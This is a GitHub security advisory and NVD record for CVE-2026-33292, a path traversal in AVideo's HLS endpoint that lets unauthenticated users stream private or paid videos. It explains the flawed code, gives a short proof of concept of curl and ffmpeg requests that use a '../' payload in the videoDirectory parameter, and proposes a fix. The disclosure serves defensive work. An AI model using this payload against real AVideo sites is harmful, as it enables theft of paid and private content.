{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T16:43:03Z",
    "nvd_published_at": "2026-03-22T17:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths \u2014 one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) \u2014 creating a split-oracle condition where authorization is checked against one video while content is served from another.\n\n## Details\n\nThe vulnerability is a split-oracle between the authorization lookup and the filesystem path construction. When `hls.php` receives a request, it processes `$_GET[\u0027videoDirectory\u0027]` through two independent functions that interpret the input differently.\n\n**Step 1 \u2014 Authorization lookup truncates at first path segment** (`objects/video.php:1685-1688`):\n\n```php\npublic static function getVideoFromFileName($fileName, $ignoreGroup = false, $ignoreTags = false)\n{\n    // ...\n    $parts = explode(\"/\", $fileName);\n    if (!empty($parts[0])) {\n        $fileName = $parts[0];  // Only takes first segment\n    }\n    $fileName = self::getCleanFilenameFromFile($fileName);\n    // ...\n    $sql = \"SELECT id FROM videos WHERE filename = ? LIMIT 1\";\n    $res = sqlDAL::readSql($sql, \"s\", [$fileName]);\n```\n\nFor input `public_video/../private_video`, `explode(\"/\", ...)` yields `[\"public_video\", \"..\", \"private_video\"]` and only `public_video` is used for the DB query. The authorization check at `hls.php:73` then runs against this public video:\n\n```php\nif (isAVideoUserAgent() || ... || User::canWatchVideo($video[\u0027id\u0027]) || ...) {\n```\n\n**Step 2 \u2014 File path construction preserves the traversal** (`objects/video.php:4622-4638`):\n\n```php\npublic static function getPathToFile($videoFilename, $createDir = false)\n{\n    $videosDir = self::getStoragePath();\n    $videoFilename = str_replace($videosDir, \u0027\u0027, $videoFilename);\n    $paths = Video::getPaths($videoFilename, $createDir);\n    if (preg_match(\u0027/index(_offline)?.(m3u8|mp4|mp3)$/\u0027, $videoFilename)) {\n        $paths[\u0027path\u0027] = rtrim($paths[\u0027path\u0027], DIRECTORY_SEPARATOR);\n        $paths[\u0027path\u0027] = rtrim($paths[\u0027path\u0027], \u0027/\u0027);\n        $videoFilename = str_replace($paths[\u0027relative\u0027], \u0027\u0027, $videoFilename);\n        $videoFilename = str_replace($paths[\u0027filename\u0027], \u0027\u0027, $videoFilename);\n    }\n    $newPath = addLastSlash($paths[\u0027path\u0027]) . \"{$videoFilename}\";\n    $newPath = str_replace(\u0027//\u0027, \u0027/\u0027, $newPath);\n    return $newPath;\n}\n```\n\n`getPaths` extracts the clean filename (e.g., `public_video`) to build the base path `/videos/public_video/`. Then `str_replace($paths[\u0027filename\u0027], \u0027\u0027, $videoFilename)` replaces only the clean name from the full input, leaving the traversal intact: `/../private_video/index.m3u8`. The concatenation at line 4634 produces `/videos/public_video/../private_video/index.m3u8`, which the OS resolves to `/videos/private_video/index.m3u8`.\n\n**No mitigations exist in the path:**\n- `fixPath()` (`objects/functionsFile.php:1116`) only normalizes slashes, does not filter `..`\n- No `realpath()` call anywhere in the chain\n- No `..` filtering on the `videoDirectory` parameter\n- The traversal is in a query parameter, not the URL path, so web server path normalization does not apply\n\n## PoC\n\n**Prerequisites:** An AVideo instance with at least one public video (filename: `public_video`) and one private/paid video (filename: `private_video`).\n\n**Step 1 \u2014 Confirm the private video is inaccessible directly:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=private_video\" \\\n  | head -5\n# Expected: \"HLS.php Can not see video [ID] (private_video) cannot watch (ID)\"\n```\n\n**Step 2 \u2014 Exploit the split-oracle to stream the private video:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -H \"Accept: application/vnd.apple.mpegurl\"\n# Expected: Valid M3U8 playlist containing private_video\u0027s HLS segments\n```\n\n**Step 3 \u2014 Stream the private video content using the returned playlist:**\n\n```bash\n# The M3U8 response contains segment URLs; use ffmpeg or any HLS player:\nffmpeg -i \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -c copy stolen_video.mp4\n```\n\nThe authorization check passes because it resolves `public_video` (the public video), while the file system serves `private_video`\u0027s HLS stream.\n\n## Impact\n\n- **Any unauthenticated user** can stream any private, unlisted, or paid video on the platform by knowing or guessing its filename directory.\n- **Paid content bypass:** Monetized videos protected by pay-per-view or subscription gates can be streamed for free.\n- **Privacy violation:** Videos marked as private or restricted to specific user groups are fully accessible.\n- **Content theft at scale:** Video filenames follow predictable patterns (e.g., `video_YYYYMMDD_XXXXX`), enabling enumeration. An attacker only needs one publicly accessible video to pivot to any other video on the instance.\n- This affects all AVideo instances with at least one public video, which is the default configuration for any content platform.\n\n## Recommended Fix\n\nSanitize the `videoDirectory` parameter to reject path traversal sequences before any processing occurs. Apply this fix at the top of `view/hls.php`:\n\n```php\n// view/hls.php \u2014 after line 16, before line 17\nif (empty($_GET[\u0027videoDirectory\u0027])) {\n    forbiddenPage(\"No directory set\");\n}\n\n// ADD: Reject path traversal attempts\n$_GET[\u0027videoDirectory\u0027] = str_replace(\u0027\\\\\u0027, \u0027/\u0027, $_GET[\u0027videoDirectory\u0027]);\nif (preg_match(\u0027/\\.\\./\u0027, $_GET[\u0027videoDirectory\u0027])) {\n    forbiddenPage(\"Invalid directory\");\n}\n// Normalize: strip leading/trailing slashes, collapse multiples\n$_GET[\u0027videoDirectory\u0027] = trim($_GET[\u0027videoDirectory\u0027], \u0027/\u0027);\n$_GET[\u0027videoDirectory\u0027] = preg_replace(\u0027#/+#\u0027, \u0027/\u0027, $_GET[\u0027videoDirectory\u0027]);\n```\n\nAdditionally, add a `realpath()` check in `getPathToFile` as defense-in-depth (`objects/video.php:4636`):\n\n```php\n$newPath = str_replace(\u0027//\u0027, \u0027/\u0027, $newPath);\n// ADD: Verify resolved path stays within videos directory\n$realPath = realpath($newPath);\n$realVideosDir = realpath($videosDir);\nif ($realPath === false || strpos($realPath, $realVideosDir) !== 0) {\n    return false;\n}\nreturn $newPath;\n```",
  "id": "GHSA-pw4v-x838-w5pg",
  "modified": "2026-03-25T18:33:42Z",
  "published": "2026-03-19T16:43:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pw4v-x838-w5pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/bc034066281085af00e64b0d7b81d8a025a928c4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E",
              "versionEndExcluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Prior to version 26.0, the HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths \u2014 one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) \u2014 creating a split-oracle condition where authorization is checked against one video while content is served from another. Version 26.0 contains a fix for the issue."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. Antes de la versi\u00f3n 26.0, el endpoint de streaming HLS (\u0027view/hls.php\u0027) es vulnerable a un ataque de salto de ruta que permite a un atacante no autenticado transmitir cualquier video privado o de pago en la plataforma. El par\u00e1metro GET \u0027videoDirectory\u0027 se utiliza en dos rutas de c\u00f3digo divergentes \u2014 una para la autorizaci\u00f3n (que trunca en el primer segmento \u0027/\u0027) y otra para el acceso a archivos (que conserva las secuencias de salto \u0027..\u0027) \u2014 creando una condici\u00f3n de \u0027or\u00e1culo dividido\u0027 donde la autorizaci\u00f3n se verifica contra un video mientras que el contenido se sirve desde otro. La versi\u00f3n 26.0 contiene una soluci\u00f3n para el problema."
    }
  ],
  "id": "CVE-2026-33292",
  "lastModified": "2026-03-23T16:18:24.447",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-22T17:17:08.753",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/bc034066281085af00e64b0d7b81d8a025a928c4"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pw4v-x838-w5pg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}